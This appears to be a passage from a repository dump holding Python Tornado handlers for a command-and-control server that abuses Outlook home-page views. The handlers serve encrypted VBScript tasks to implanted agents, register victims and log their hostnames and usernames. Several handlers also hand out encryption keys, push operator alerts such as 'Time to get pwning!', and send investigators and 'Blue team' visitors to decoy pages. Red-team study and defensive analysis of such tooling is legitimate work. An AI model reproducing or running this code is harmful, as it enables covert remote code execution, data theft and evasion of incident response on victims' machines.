agent.refreshtime),\r\n                                OUTLOOK_VIEW_ID=gconfig.OUTLOOK_VIEW_ID,\r\n                                LOADSUPPORT=LOADSUPPORT.format(DLName, agent.supporturl),\r\n                                DLSUPPORT=DLName,\r\n                                CLSID=gconfig.CLSID)\r\n                        return\r\n            for agent in self.application.helpers.a_list:\r\n                #Doing urlparse to compare only the url and not hostname\r\n                if urlparse(agent.codeurl).path == uri: #Code url - server encrypted vbscode\r\n                    self.application.helpers.speclog(\"*** [AGENTCOM] (\" + remote_ip + \") (\" + agent.hostname + \"): Requesting Encrypted Code\")\r\n                    self.set_header(\"Cache-Control\", \"no-store\")\r\n                    agent.update_callback()\r\n                    agent.lastcheckin = datetime.now().strftime(self.application.helpers.timeformat)\r\n                    if gconfig.PUSHOVER_API_TOKEN != None:\r\n                            if agent.pushnextcallback:\r\n                                self.application.helpers.speclog(\"*** [AGENTCOM] (\" + remote_ip + \") (\" + agent.hostname + \"): Push on next callback enabled - sending push to the sweet operator\")\r\n                                self.application.helpers.sendPush(agent.remoteip, agent.hostname,\r\n                                                      \"Agent called back and you wanted to be notified\")\r\n                                agent.pushnextcallback = False # Turning off push on next callback\r\n                    else:\r\n                        if agent.pushnextcallback:\r\n                            self.application.helpers.speclog(\"*** [AGENTCOM] (\" + remote_ip + \") (\" + agent.hostname + \"): Push on next callback enabled - However no pushover key specified\")\r\n                            agent.pushnextcallback = False # Turning off push on next callback\r\n                    if len(agent.tasks) > 0:\r\n                        self.application.helpers.speclog(\"*** [AGENTCOM] (\" + remote_ip + \") (\" + agent.hostname + \"): Found queued task to execute - \" + agent.tasks[0].name)\r\n                        code = agent.tasks[0].code\r\n                        if agent.tasks[0].encrypt:\r\n                            self.write(\"1\")\r\n                            code = encrypt_code(code, agent.encryptionkey)\r\n                        else:\r\n                            self.write(\"0\")\r\n                        self.write(self.application.helpers.addJitter(agent.jitter, agent.refreshtime).zfill(4))\r\n                        self.write(code)\r\n                        handled = True\r\n                    else:\r\n                        self.write(\"2\") # is this the best option?\r\n                        self.write(self.application.helpers.addJitter(agent.jitter, agent.refreshtime).zfill(4))\r\n                        self.application.helpers.speclog(\"*** [AGENTCOM] (\" + remote_ip + \") (\" + agent.hostname + \"): No queued task to execute\")\r\n                        handled = True\r\n                    break\r\n                if urlparse(agent.supporturl).path == uri:\r\n                    with open('helperFunctions/supportFuncs.txt') as fp:\r\n                        data = fp.read()\r\n                        env = jinja2.Environment(autoescape=False)\r\n                        doc = env.from_string(data)\r\n                        self.write(doc.render({\r\n                            \"CODEURL\": agent.codeurl,\r\n                            \"REFRESH_TIME\": agent.refreshtime,\r\n                            \"ENCRYPTIONKEY_LOCATION\": gconfig.ENCRYPTIONKEY_REGISTRY_LOCATION,\r\n                            \"ENCRYPTIONKEY_VALUENAME\": gconfig.ENCRYPTIONKEY_VALUENAME\r\n                        })\r\n                        )\r\n                        handled = True\r\n                        break\r\n                if urlparse(agent.url).path == uri: #Unique url per agent\r\n                    self.set_header(\"Cache-Control\", \"no-store\")\r\n                    self.application.helpers.speclog(\"*** [AGENTCOM] (\" + remote_ip + \") (\" + agent.hostname + \"): Unique Agent URL triggered\")\r\n                    self.application.helpers.speclog(\"*** [AGENTCOM] (\" + remote_ip + \") (\" + agent.hostname + \"): Updating Lastseen, Useragent and callback count\")\r\n                    agent.update_callback()\r\n                    agent.lastcheckin = datetime.now().strftime(self.application.helpers.timeformat)\r\n                    agent.useragent = user_agent\r\n                    if agent.remoteip == \"10.10.10.10\": ## This is the task for prestaged clients to update db info\r\n                        if agent.prestaged != True: # we flip this after the the first callin cycle\r\n                            if gconfig.PUSH_UNEXPECTEDCALLBACK == \"True\":\r\n                                self.application.helpers.sendPush(remote_ip, \"None\", \"[!] Unexpected Prestaged callback\")\r\n                            handled = True\r\n                            self.render('base.html',\r\n                                    OUTLOOK_VIEW_ID=gconfig.OUTLOOK_VIEW_ID,\r\n                                    LOADSUPPORT=\"\",\r\n                                    DLSUPPORT=\"\",\r\n                                    CLSID=gconfig.CLSID)\r\n                            break\r\n                        else:\r\n                            self.application.helpers.speclog(\"*** [AGENTCOM] (\" + remote_ip + \") (\" + agent.hostname + \"): Prestaged agents first checkin, executing special task to update database\")\r\n                            mod = self.application.helpers.get_module('enumerate/host/list_basic')\r\n                            task = TaskClass('enumerate/host/list_basic',\r\n                                             self.application.helpers.renderModule(mod, agent),\r\n                                             mod.entry,\r\n                                             {},\r\n                                             True)\r\n                            agent.add_task(task)\r\n                            # intentional fall through to base.html render\r\n                            # set firstseen to now\r\n                            agent.firstseen = datetime.now().strftime(gconfig.TIME_FORMAT)\r\n                    elif agent.remoteip != remote_ip:\r\n                        if gconfig.PUSH_NEWIP == \"True\":\r\n                            self.application.helpers.sendPush(agent.remoteip, agent.hostname,\r\n                                                      \"New ip on existing agent, updating to {}\".format(remote_ip))\r\n                        agent.remoteip = remote_ip\r\n                        # intentional fall through\r\n                    self.application.helpers.speclog(\"*** [AGENTCOM] (\" + remote_ip + \") (\" + agent.hostname + \"): Agent Connected\")\r\n                    handled = True\r\n                    self.render('base.html',\r\n                            REFRESH_TIME=self.application.helpers.addJitter(agent.jitter, agent.refreshtime),\r\n                            OUTLOOK_VIEW_ID=gconfig.OUTLOOK_VIEW_ID,\r\n                            LOADSUPPORT=LOADSUPPORT.format(DLName, agent.supporturl),\r\n                            DLSUPPORT=DLName,\r\n                            CLSID=gconfig.CLSID)\r\n                    break\r\n\r\n            if not handled:\r\n                if gconfig.PUSH_UNKNOWNCONNECTION == \"True\":\r\n                    self.application.helpers.sendPush(remote_ip, \"UNKNOWN/Blue team\",\r\n                                                  \"Call in to our valid handler url, but not in database - Blue team on to you?\")\r\n                self.render('base.html',\r\n                            OUTLOOK_VIEW_ID=gconfig.OUTLOOK_VIEW_ID,\r\n                            LOADSUPPORT=\"\",\r\n                            DLSUPPORT=\"\",\r\n                            CLSID=gconfig.CLSID)\r\n            self.application.helpers.save_agents_to_file()\r\n        else:\r\n            self.application.helpers.speclog(\"*** [ALERT] (\" + remote_ip + \"): Inbound connection with wrong UserAgent - Useragent: \" + user_agent)\r\n            if gconfig.PUSH_UNEXPECTEDCALLBACK == \"True\":\r\n                self.application.helpers.sendPush(remote_ip, \"UNKNOWN/Blue team\", \"Connection with unexpected useragent: \" + user_agent)\r\n            if gconfig.REDIRECT_FALSE_AGENTS.lower() == \"template\":\r\n                self.application.helpers.speclog(\"*** [ALERT] (\" + remote_ip + \"): REDIRECTING to template **Evil laugh**\")\r\n                self.render('redirect_template.html')\r\n            else:\r\n                self.application.helpers.speclog(\"*** [ALERT] (\" + remote_ip + \"): REDIRECTING to \" + gconfig.REDIRECT_FALSE_AGENTS + \" **Evil laugh**\")\r\n                self.redirect(gconfig.REDIRECT_FALSE_AGENTS)\r\n\r\n    def post(self):\r\n        user_agent = self.request.headers.get(\"User-Agent\")\r\n        url = self.request.full_url()\r\n        uri = self.request.uri\r\n        remote_ip = self.request.remote_ip\r\n        self.application.helpers.speclog(\"*** [INBOUND POST] (\" + remote_ip + \") - [URL]: \" + self.request.full_url())\r\n        #TODO right now we return a 404, is that the intent\r\n        if self.application.helpers.inblocklist(remote_ip) or self.application.helpers.pastenddate():\r\n            self.application.helpers.speclog('*** [blocklisted IP or ENDDATE] ({}): Valid POST endpoint request from blocklisted ip'.format(remote_ip))\r\n            self.set_status(404)\r\n        elif 'Outlook' in user_agent:\r\n            try:\r\n                returndata = tornado.escape.json_decode(self.request.body)\r\n                for agent in self.application.helpers.a_list:\r\n                    if urlparse(agent.url).path == uri:\r\n                        t = None\r\n                        if agent.tasks != []:\r\n                            #call return data handler of task\r\n                            t = agent.tasks.pop(0)\r\n                        self.application.helpers.speclog(\"*** [AGENTCOM] (\" + remote_ip + \") (\" + agent.hostname + \"): Data returned from agent\")\r\n                        returndata_decoded = decrypt_code(returndata,agent.encryptionkey)\r\n                        if t is None or t.printlog:\r\n                            with open(\"agent_data/\" + agent.hostname + \".txt\", \"a+\") as agent_log:\r\n                                agent_log.write(datetime.now().strftime(self.application.helpers.timeformat) + \" -- \" + t.name + \"\\n\")\r\n                                agent_log.write(returndata_decoded + \"\\n\\n\")\r\n                            self.application.helpers.speclog(\r\n                                \"*** [AGENTCOM] (\" + remote_ip + \"): RETURN DATA - \" + returndata)\r\n                            self.application.helpers.speclog(\"*** [AGENTCOM] (\" + remote_ip + \") (\" + agent.hostname + \"): Data written to agent_data/\" + agent.hostname + \".txt\")\r\n                        if t is not None:\r\n                            mod = tmp = None\r\n                            if t.name in self.application.helpers.modlist:\r\n                                mod, tmp = self.application.helpers.modlist[t.name]\r\n                            elif t.name in self.application.helpers.hiddenmods:\r\n                                mod, tmp = self.application.helpers.hiddenmods[t.name]\r\n                            if mod is not None:\r\n                                module = mod.Spec(tmp, self.application.helpers)\r\n                                try:\r\n                                    module.rethandler(agent, t.options, returndata_decoded)\r\n                                    if module.entry == 'list_basic':\r\n                                        agent.remoteip = self.request.remote_ip\r\n                                        agent.useragent = user_agent\r\n                                        if agent.prestaged:\r\n                                            agent.prestaged = False\r\n                                            if gconfig.PUSH_PRESTAGE == \"True\":\r\n                                                self.application.helpers.sendPush(remote_ip, agent.hostname, \"Prestaged agent first checkin\")\r\n                                except Exception as msg:\r\n                                    self.application.helpers.speclog(\"*** [AGENTCOM] ({}) ({}) error calling rethandler for task {}\"\r\n                                                                     \"\\t{}\".format(remote_ip, agent.hostname, t.name, msg))\r\n                                    pass\r\n                                finally:\r\n                                    del module\r\n                                    del t\r\n                            self.application.helpers.save_agents_to_file() #UPDATE DB FILE\r\n                            self.application.helpers.speclog(\"*** [AGENTCOM] (\" + remote_ip + \") (\" + agent.hostname + \"): Removed executed task from queue\")\r\n                        break\r\n                    else:\r\n                        self.set_status(404)\r\n            except ValueError:\r\n                self.application.helpers.speclog(\"*** [ALERT] (\" + remote_ip + \") - POST data sent was invalid - Might be DFIR\")\r\n        else:\r\n            self.application.helpers.speclog(\"*** [ALERT] (\" + remote_ip + \") - Invalid Useragent on POST - Something phishy is going on!\")\r\n            self.set_status(404)"
  },
  {
    "path": "lib/handlers/specdevcomms.py",
    "content": "import copy\nfrom urllib.parse import unquote, urlparse\nfrom lib.core.specagents import AgentClass\nfrom lib.core.utility import encrypt_code, decrypt_code, TaskClass\nimport tornado\nfrom datetime import datetime\nfrom lib.core.setup import gconfig\n\nclass AgentDevComHandler(tornado.web.RequestHandler):\n    def set_default_headers(self):\n        self.set_header('Server', gconfig.SERVER_HEADER)\n\n    def get(self):\n        user_agent = self.request.headers.get(\"User-Agent\")\n        url = self.request.full_url()\n        uri = self.request.uri\n        remote_ip = self.request.remote_ip\n        handled = False\n        self.application.helpers.speclog(\"*** [INBOUND GET] (\" + remote_ip + \") - [URL]: \" + self.request.full_url())\n        if self.application.helpers.inblocklist(remote_ip):\n            self.application.helpers.speclog('*** [blocklisted IP] ({}): Valid GET endpoint request from blocklisted ip'.format(remote_ip))\n            self.render('blocklist.html')\n            return\n        elif 'Outlook' in user_agent:\n            self.application.helpers.speclog(\"*** [DEVAGENTCOM] (\" + remote_ip + \"): Valid Useragent\")\n            agent: AgentClass # type anotation\n            if self.application.helpers.pastenddate():\n                handled = True\n                self.application.helpers.speclog(\"*** [ENDDATE] (\" + remote_ip + \"): Returning Nothing\")\n                self.render('dev_blank.html',\n                            REFRESH_TIME=99999,\n                            OUTLOOK_VIEW_ID=gconfig.OUTLOOK_VIEW_ID,\n                            CLSID=gconfig.CLSID)\n                return\n            for agent in self.application.helpers.a_list:\n                #Doing urlparse to compare only the url and not hostname\n                if urlparse(agent.codeurl).path == uri: #Code url - server encrypted vbscode\n                    self.application.helpers.speclog(\"*** [DEVAGENTCOM] (\" + remote_ip + \") (\" + agent.hostname + \"): Requesting Encrypted Code\")\n                    self.set_header(\"Cache-Control\", \"no-store\")\n                    if len(agent.tasks) == 0:\n                        self.set_status(404)\n                    else:\n                        code = agent.tasks[0].code\n                        if agent.tasks[0].encrypt:\n                            code = encrypt_code(code, agent.encryptionkey)\n                        self.write(code)\n                        handled = True\n                        break\n                if urlparse(agent.url).path == uri: #Unique url per agent\n                    self.set_header(\"Cache-Control\", \"no-store\")\n                    self.application.helpers.speclog(\"*** [DEVAGENTCOM] (\" + remote_ip + \") (\" + agent.hostname + \"): Unique Agent URL triggered\")\n                    self.application.helpers.speclog(\"*** [DEVAGENTCOM] (\" + remote_ip + \") (\" + agent.hostname + \"): Updating Lastseen, Useragent and callback count\")\n                    agent.update_callback()\n                    agent.lastcheckin = datetime.now().strftime(self.application.helpers.timeformat)\n                    agent.useragent = user_agent\n                    if agent.remoteip == \"10.10.10.10\": ## This is the task for prestaged clients to update db info\n                        if agent.prestaged != True: # we flip this after the the first callin cycle\n                            self.application.helpers.sendPush(remote_ip, \"None\", \"[!] Unexpected Prestaged callback\")\n                            handled = True\n                            self.render('dev_blank.html',\n                                        REFRESH_TIME=self.application.helpers.addJitter(agent.jitter, agent.refreshtime),\n                                        OUTLOOK_VIEW_ID=gconfig.OUTLOOK_VIEW_ID,\n                                        CLSID=gconfig.CLSID)\n                        else:\n                            self.application.helpers.speclog(\"*** [DEVAGENTCOM] (\" + remote_ip + \") (\" + agent.hostname + \"): Prestaged agents first checkin, executing special task to update database\")\n                            function_enc = encrypt_code(\"list_basic()\",agent.encryptionkey) #Added for test\n                            url_enc = encrypt_code(agent.url+\"1194\",agent.encryptionkey)\n                            codeurl_enc = encrypt_code(agent.codeurl,agent.encryptionkey)\n                            mod = self.application.helpers.get_module('enumerate/host/list_basic')\n                            task = TaskClass('enumerate/host/list_basic',\n                                             self.application.helpers.renderModule(mod),\n                                             mod.entry,\n                                             {},\n                                             True)\n                            agent.add_task(task)\n                            handled = True\n                            self.render('dev_encrypted_task_template.html',\n                                        url=url_enc,\n                                        function_name=function_enc,\n                                        REFRESH_TIME=self.application.helpers.addJitter(agent.jitter, agent.refreshtime),\n                                        OUTLOOK_VIEW_ID=gconfig.OUTLOOK_VIEW_ID,\n                                        CODEURL=codeurl_enc,\n                                        ENCRYPTIONKEY_LOCATION=gconfig.ENCRYPTIONKEY_REGISTRY_LOCATION,\n                                        ENCRYPTIONKEY_VALUENAME=gconfig.ENCRYPTIONKEY_VALUENAME\n                                        )\n                        break\n                    elif agent.remoteip != remote_ip:\n                        self.application.helpers.sendPush(agent.remoteip, agent.hostname,\n                                                      \"New ip on existing agent, updating to {}\".format(remote_ip))\n                        agent.remoteip = remote_ip\n                        handled = True\n                        self.render('dev_blank.html',\n                                    REFRESH_TIME=self.application.helpers.addJitter(agent.jitter, agent.refreshtime),\n                                    OUTLOOK_VIEW_ID=gconfig.OUTLOOK_VIEW_ID,\n                                    CLSID=gconfig.CLSID)\n                        break\n                    if agent.tasks == []: #NO TASKS IN QUEUE\n                        self.application.helpers.speclog(\"*** [DEVAGENTCOM] (\" + remote_ip + \") (\" + agent.hostname + \"): No tasks in queue, rendering dev_blank.html\")\n                        handled = True\n                        self.render('dev_blank.html',\n                                    REFRESH_TIME=self.application.helpers.addJitter(agent.jitter, agent.refreshtime),\n                                    OUTLOOK_VIEW_ID=gconfig.OUTLOOK_VIEW_ID,\n                                    CLSID=gconfig.CLSID)\n                        break\n                    self.application.helpers.speclog(\"*** [DEVAGENTCOM] (\" + remote_ip + \") (\" + agent.hostname + \"): Task Found - \" + agent.tasks[0].name + \" - Initiating Execution\")\n                    function = agent.tasks[0].entry + \"()\"\n                    self.application.helpers.speclog(\"*** [DEVAGENTCOM] (\" + remote_ip + \") (\" + agent.hostname + \"): VBScript Function with Parameters sent - \" + function)\n                    function_enc = encrypt_code(function,agent.encryptionkey) #Added for test\n                    url_enc = encrypt_code(agent.url,agent.encryptionkey)\n                    codeurl_enc = encrypt_code(agent.codeurl,agent.encryptionkey)\n                    template = 'encrypted_task_template.html'\n                    handled = True\n                    if len(agent.tasks) > 0 and not agent.tasks[0].encrypt:\n                        if gconfig.DEBUG:\n                            self.render('debugunencrypted_task_template.html',\n                                        url=url_enc,\n                                        function_name=function_enc,\n                                        REFRESH_TIME=self.application.helpers.addJitter(agent.jitter, agent.refreshtime),\n                                        OUTLOOK_VIEW_ID=gconfig.OUTLOOK_VIEW_ID,\n                                        code=agent.tasks[0].code,\n                                        CLSID=gconfig.CLSID)\n                        else:\n                            self.render('dev_unencrypted_task_template.html',\n                                    url=url_enc,\n                                    function_name=function_enc,\n                                    REFRESH_TIME=self.application.helpers.addJitter(agent.jitter, agent.refreshtime),\n                                    OUTLOOK_VIEW_ID=gconfig.OUTLOOK_VIEW_ID,\n                                    CODEURL=codeurl_enc,\n                                    CLSID=gconfig.CLSID,\n                                    ENCRYPTIONKEY_LOCATION=gconfig.ENCRYPTIONKEY_REGISTRY_LOCATION,\n                                    ENCRYPTIONKEY_VALUENAME=gconfig.ENCRYPTIONKEY_VALUENAME\n                                    )\n                    else:\n                        self.render('dev_encrypted_task_template.html',\n                                    url=url_enc,\n                                    function_name=function_enc,\n                                    REFRESH_TIME=self.application.helpers.addJitter(agent.jitter, agent.refreshtime),\n                                    OUTLOOK_VIEW_ID=gconfig.OUTLOOK_VIEW_ID,\n                                    CODEURL=codeurl_enc,\n                                    CLSID=gconfig.CLSID,\n                                    ENCRYPTIONKEY_LOCATION=gconfig.ENCRYPTIONKEY_REGISTRY_LOCATION,\n                                    ENCRYPTIONKEY_VALUENAME=gconfig.ENCRYPTIONKEY_VALUENAME\n                                    )\n                    break\n            if not handled:\n                self.application.helpers.sendPush(remote_ip, \"UNKNOWN\",\n                                                  \"Call in to our valid handler url, but not in database\")\n                self.render('dev_blank.html',\n                            REFRESH_TIME=99999,\n                            OUTLOOK_VIEW_ID=gconfig.OUTLOOK_VIEW_ID,\n                            CLSID=gconfig.CLSID)\n            self.application.helpers.save_agents_to_file()\n        else:\n            self.application.helpers.speclog(\"*** [ALERT] (\" + remote_ip + \"): Inbound connection with wrong UserAgent - Useragent: \" + user_agent)\n            self.application.helpers.speclog(\"*** [ALERT] (\" + remote_ip + \"): REDIRECTING to \" + gconfig.REDIRECT_FALSE_AGENTS + \" **Evil laugh**\")\n            self.redirect(gconfig.REDIRECT_FALSE_AGENTS)\n\n    def post(self):\n        user_agent = self.request.headers.get(\"User-Agent\")\n        url = self.request.full_url()\n        uri = self.request.uri\n        remote_ip = self.request.remote_ip\n        \n        self.application.helpers.speclog(\"*** [INBOUND POST] (\" + remote_ip + \") - [URL]: \" + self.request.full_url())\n        #TODO right now we return a 404, is that the intent\n        if self.application.helpers.inblocklist(remote_ip) or self.application.helpers.pastenddate():\n            self.application.helpers.speclog('*** [blocklisted IP or ENDDATE] ({}): Valid POST endpoint request from blocklisted ip'.format(remote_ip))\n            self.set_status(404)\n        elif 'Outlook' in user_agent:\n            try:\n                returndata = tornado.escape.json_decode(self.request.body)\n                for agent in self.application.helpers.a_list:\n                    if urlparse(agent.url).path+\"1194\" == uri:\n                        ### Prestaged client running first update ###\n                        self.application.helpers.speclog(\n                            \"*** [AGENTCOM] (\" + remote_ip + \"): RETURN DATA - \" + returndata)\n                        self.application.helpers.speclog(\"*** [AGENTCOM] (\" + remote_ip + \") (\" + agent.hostname + \"): Prestaged client posting back for the first time\")\n                        self.application.helpers.speclog(\"*** [AGENTCOM] (\" + remote_ip + \") (\" + agent.hostname + \"): Updating prestaged client database data\")\n                        returndata_decoded = decrypt_code(returndata,agent.encryptionkey)\n                        agent.username = returndata_decoded.split()[1]\n                        if agent.remoteip != '10.10.10.10' or agent.prestaged is not True: # not the first use of this prestaged agent\n                            self.application.helpers.sendPush(agent.remoteip, agent.hostname, 'prestaged agent used more then once likely being investigated. new ip:hostname {}:{}'.format(self.request.remote_ip, returndata_decoded.split()[3]))\n                            #TODO ok cool now what are we going to automatically do about it\n                        else:\n                            self.application.helpers.sendPush(self.request.remote_ip, returndata_decoded.split()[3], 'prestaged agent first checkin! ')\n                        agent.hostname = returndata_decoded.split()[3]\n                        agent.remoteip = self.request.remote_ip\n                        agent.lastcheckin = datetime.now().strftime(self.application.helpers.timeformat)\n                        agent.useragent = user_agent\n                        self.application.helpers.save_agents_to_file()\n                        break\n\n                    if urlparse(agent.url).path == uri:\n                        t = None\n                        if agent.tasks != []:\n                            #call return data handler of task\n                            t = agent.tasks.pop(0)\n                        self.application.helpers.speclog(\"*** [AGENTCOM] (\" + remote_ip + \") (\" + agent.hostname + \"): Data returned from agent\")\n                        returndata_decoded = decrypt_code(returndata,agent.encryptionkey)\n                        if t is None or t.printlog:\n                            with open(\"agent_data/\" + agent.hostname + \".txt\", \"a+\") as agent_log:\n                                agent_log.write(datetime.now().strftime(self.application.helpers.timeformat) +  \" -- \" + t.name + \"\\n\")\n                                agent_log.write(returndata_decoded + \"\\n\\n\")\n                            self.application.helpers.speclog(\n                                \"*** [AGENTCOM] (\" + remote_ip + \"): RETURN DATA - \" + returndata)\n                            self.application.helpers.speclog(\"*** [AGENTCOM] (\" + remote_ip + \") (\" + agent.hostname + \"): Data written to agent_data/\" + agent.hostname + \".txt\")\n                        if t is not None:\n                            mod = tmp = None\n                            if t.name in self.application.helpers.modlist:\n                                mod, tmp = self.application.helpers.modlist[t.name]\n                            elif t.name in self.application.helpers.hiddenmods:\n                                mod, tmp = self.application.helpers.hiddenmods[t.name]\n                            if mod is not None:\n                                module = mod.Spec(tmp, self.application.helpers)\n                                try:\n                                    module.rethandler(agent, t.options, returndata_decoded)\n                                except Exception as msg:\n                                    self.application.helpers.speclog(\"*** [AGENTCOM] ({}) ({}) error calling rethandler for task {}\"\n                                                                     \"\\t{}\".format(remote_ip, agent.hostname, t.name, msg))\n                                    pass\n                                finally:\n                                    del module\n                                    del t\n                            self.application.helpers.save_agents_to_file() #UPDATE DB FILE\n                            self.application.helpers.speclog(\"*** [AGENTCOM] (\" + remote_ip + \") (\" + agent.hostname + \"): Removed executed task from queue\")\n                        break\n                    else:\n                        self.set_status(404)\n            except ValueError:\n                self.application.helpers.speclog(\"*** [ALERT] (\" + remote_ip + \") - POST data sent was invalid - Might be DFIR\")\n        else:\n            self.application.helpers.speclog(\"*** [ALERT] (\" + remote_ip + \") - Invalid Useragent on POST - Something phishy is going on!\")\n            self.set_status(404)"
  },
  {
    "path": "lib/handlers/specpayload.py",
    "content": "import tornado\nfrom urllib.parse import urlparse\nfrom lib.core.setup import gconfig\n\nclass PayloadHandler(tornado.web.StaticFileHandler):\n    def set_default_headers(self):\n       self.set_header('Server', gconfig.SERVER_HEADER)\n\n    #def write_error(self, status_code, **kwargs):\n    #    if status_code == 404:\n    #        self.redirect('http://example.com') # Fetching a default resource\n"
  },
  {
    "path": "lib/handlers/specvalidate.py",
    "content": "import tornado\nimport base64\nfrom datetime import datetime\nfrom urllib.parse import urlparse\nfrom lib.core.specagents import AgentClass\nimport copy\nfrom lib.core.setup import gconfig\n\nclass ValidateAgentHandler(tornado.web.RequestHandler):\n    def set_default_headers(self):\n        self.set_header('Server', gconfig.SERVER_HEADER)\n\n    hostname = urlparse(gconfig.DNS_NAME).hostname\n    def get(self):\n        ### Get User agent and remote ip ###\n        user_agent = self.request.headers.get(\"User-Agent\")\n        remote_ip = self.request.remote_ip\n        self.application.helpers.speclog(\"*** [INBOUND GET] (\" + remote_ip + \") - [URL]: \" + self.request.full_url())\n        if self.application.helpers.inblocklist(remote_ip) and 'Outlook' not in user_agent:\n            self.application.helpers.speclog(\"*** [blocklisted IP] ({})\".format(remote_ip))\n            self.redirect(gconfig.REDIRECT_FALSE_AGENTS)\n        elif self.application.helpers.inblocklist(remote_ip) and 'Outlook'  in user_agent:\n            self.render('blocklist.html',\n                        CLSID=gconfig.CLSID)\n        elif 'Outlook' in user_agent:\n            if self.application.helpers.pastenddate():\n                self.application.helpers.speclog(\"*** [ENDDATE] (\" + remote_ip + \"): Returning Nothing\")\n                self.render('base.html',\n                            REFRESH_TIME=99999,\n                            OUTLOOK_VIEW_ID=gconfig.OUTLOOK_VIEW_ID,\n                            CLSID=gconfig.CLSID)\n                return\n            self.application.helpers.speclog(\"*** [VALIDATION CHECK] (\" + remote_ip + \"): Valid Useragent\")\n            self.application.helpers.speclog(\"*** [VALIDATION CHECK] (\" + remote_ip + \"): Rendering validation.html\")\n            hn = urlparse(self.request.full_url()).hostname\n            if hn != self.hostname:\n                self.application.helpers.speclog(\"\"\"\n*** [WARNING] The Hostname we are returning does not equal the hostname used\n    {} != {}\"\"\".format(hn, self.hostname))\n            port_value = \"\" \n            if gconfig.WEBSERVER_PORT not in (80, 443):\n                port_value = f\":{gconfig.WEBSERVER_PORT}\"\n            self.render('validation.html',\n                        DNS=gconfig.DNS_NAME,\n                        PORT=port_value,\n                        URL=gconfig.VALIDATE_URL,\n                        REFRESH_TIME=self.application.helpers.addJitter(gconfig.JITTER, gconfig.DEFAULT_REFRESH_TIME),\n                        OUTLOOK_VIEW_ID=gconfig.OUTLOOK_VIEW_ID,\n                        CLSID=gconfig.CLSID,\n                        ENCRYPTIONKEY_LOCATION = gconfig.ENCRYPTIONKEY_REGISTRY_LOCATION,\n                        ENCRYPTIONKEY_VALUENAME = gconfig.ENCRYPTIONKEY_VALUENAME\n                        )\n        else:\n            self.application.helpers.speclog(\"*** [ALERT] (\" + remote_ip + \"): Inbound connection with wrong UserAgent - Useragent: \" + user_agent)\n            if gconfig.REDIRECT_FALSE_AGENTS.lower() == \"template\":\n                self.application.helpers.speclog(\"*** [ALERT] (\" + remote_ip + \"): REDIRECTING to template **Evil laugh**\")\n                self.render('redirect_template.html')\n            else:\n                self.application.helpers.speclog(\"*** [ALERT] (\" + remote_ip + \"): REDIRECTING to \" + gconfig.REDIRECT_FALSE_AGENTS + \" **Evil laugh**\")\n                self.redirect(gconfig.REDIRECT_FALSE_AGENTS)\n\n    def post(self):\n        user_agent = self.request.headers.get(\"User-Agent\")\n        remote_ip = self.request.remote_ip\n        self.application.helpers.speclog(\"*** [INBOUND POST] (\" + remote_ip + \") - [URL]: \" + self.request.full_url())\n        if self.application.helpers.inblocklist(remote_ip) or self.application.helpers.pastenddate():\n            self.application.helpers.speclog(\"*** [blocklisted IP or ENDDATE] ({}): attempted post request\".format(remote_ip))\n            self.set_status(404)\n        elif 'Outlook' in user_agent:\n            self.application.helpers.speclog(\"*** [VALIDATION CHECK] (\" + remote_ip + \"): Valid Useragent\")\n            try:\n                sessionid = tornado.escape.json_decode(self.request.body)\n                agent_hostname = copy.deepcopy(sessionid)\n                agent_hostname = base64.b64decode(agent_hostname).decode(\"utf-16le\", \"ignore\").split(\"|\")[0]\n\n                ### CHECK IF IN DB ###\n                found = 0\n                if self.application.helpers.a_list != []:  # check a_list not empty\n                    agent: AgentClass # type anotation\n                    for agent in self.application.helpers.a_list:\n                        if agent.sessionid == sessionid:\n                            agent.update_callback()\n                            agent.lastcheckin = datetime.now().strftime(gconfig.TIME_FORMAT)\n                            #self.application.helpers.speclog(\"*** [INITIAL AGENT] - \" + agent_hostname + \": Agent already in Database - Outlook most likely needs to be restarted for it to pickup new url\")\n                            found = 1\n                            agent.updateinitialcheckincount(agent.initialcheckincount+1) # Add 1 to checkin count\n                            self.application.helpers.speclog(\"*** [VALIDATION CHECK] (\" + remote_ip + \") (\" + agent_hostname + \"): Increasing Initial Checkin Count\")\n                            #print(agent.approved)\n                            if agent.approved == True:\n                                self.application.helpers.speclog(\"*** [VALIDATION CHECK] (\" + remote_ip + \") (\" + agent_hostname + \"): Agent is approved\")\n                                if agent.keysent == False:\n                                    self.application.helpers.speclog(\"*** [VALIDATION CHECK] (\" + remote_ip + \") (\" + agent_hostname + \"): Agent is approved - But encryption key not sent\")\n                                    self.write(agent.encryptionkey + \"||\" + agent.url)\n                                    agent.keysent = True\n                                    self.application.helpers.speclog(\"*** [VALIDATION CHECK] (\" + remote_ip + \") (\" + agent_hostname + \"): Encryption key sent\")\n                                    if gconfig.PUSH_NEWAGENT == \"True\":\n                                        self.application.helpers.sendPush(agent.remoteip, agent.hostname, \"New Fully Authenticated Agent! New URL and Encryption key sent to agent. Time to get pwning!\")\n                                else:\n                                    self.application.helpers.speclog(\"*** [VALIDATION CHECK] (\" + remote_ip + \") (\" + agent_hostname + \"): Outlook needs to restart to pick up new url\")\n                            else:\n                                self.application.helpers.speclog(\"*** [VALIDATION CHECK] (\" + remote_ip + \") (\" + agent_hostname + \"): Agent is not approved yet - Checkin Count is too low\")\n                                #Check if initial checkin count - Set Approved value in DB to true\n                                if agent.initialcheckincount == gconfig.INITIAL_CHECKIN_COUNT-1:\n                                    self.application.helpers.speclog(\"*** [VALIDATION CHECK] (\" + remote_ip + \") (\" + agent_hostname + \"): Agent has reached enough checkins - Agent set to Approved\")\n                                    agent.approved = True\n                                    agent.generate_com() #Generate urls and encryption\n                                    if gconfig.PUSH_NEWAGENT == \"True\":\n                                        self.application.helpers.sendPush(agent.remoteip, agent.hostname, \"New Approved Agent!\")\n\n                            self.application.helpers.save_agents_to_file()\n\n                    ### Not found in existing asset db - Register it ###\n                    if found == 0:\n                        self.application.helpers.speclog(\"*** [VALIDATION CHECK] (\" + remote_ip + \") (\" + agent_hostname + \"): New Agent - Registering in Database\")\n                        self.application.helpers.speclog(\"*** [VALIDATION CHECK] (\" + remote_ip + \") (\" + agent_hostname + \"): Writing post data to agent_data/\" + agent_hostname + \".txt\")\n                        agent_log = open(\"agent_data/\" + agent_hostname + \".txt\", \"a+\")\n                        agent_log.write(datetime.now().strftime(gconfig.TIME_FORMAT) + \"\\n\")\n                        agent_log.write(\"Hostname|Username:\\n\")\n                        agent_log.write(base64.b64decode(sessionid).decode(\"utf-16le\", \"ignore\") + \"\\n\\n\")\n                        agent_log.close()\n                        self.application.helpers.a_list.register_agent(sessionid, remote_ip, user_agent, datetime.now().strftime(gconfig.TIME_FORMAT))\n                        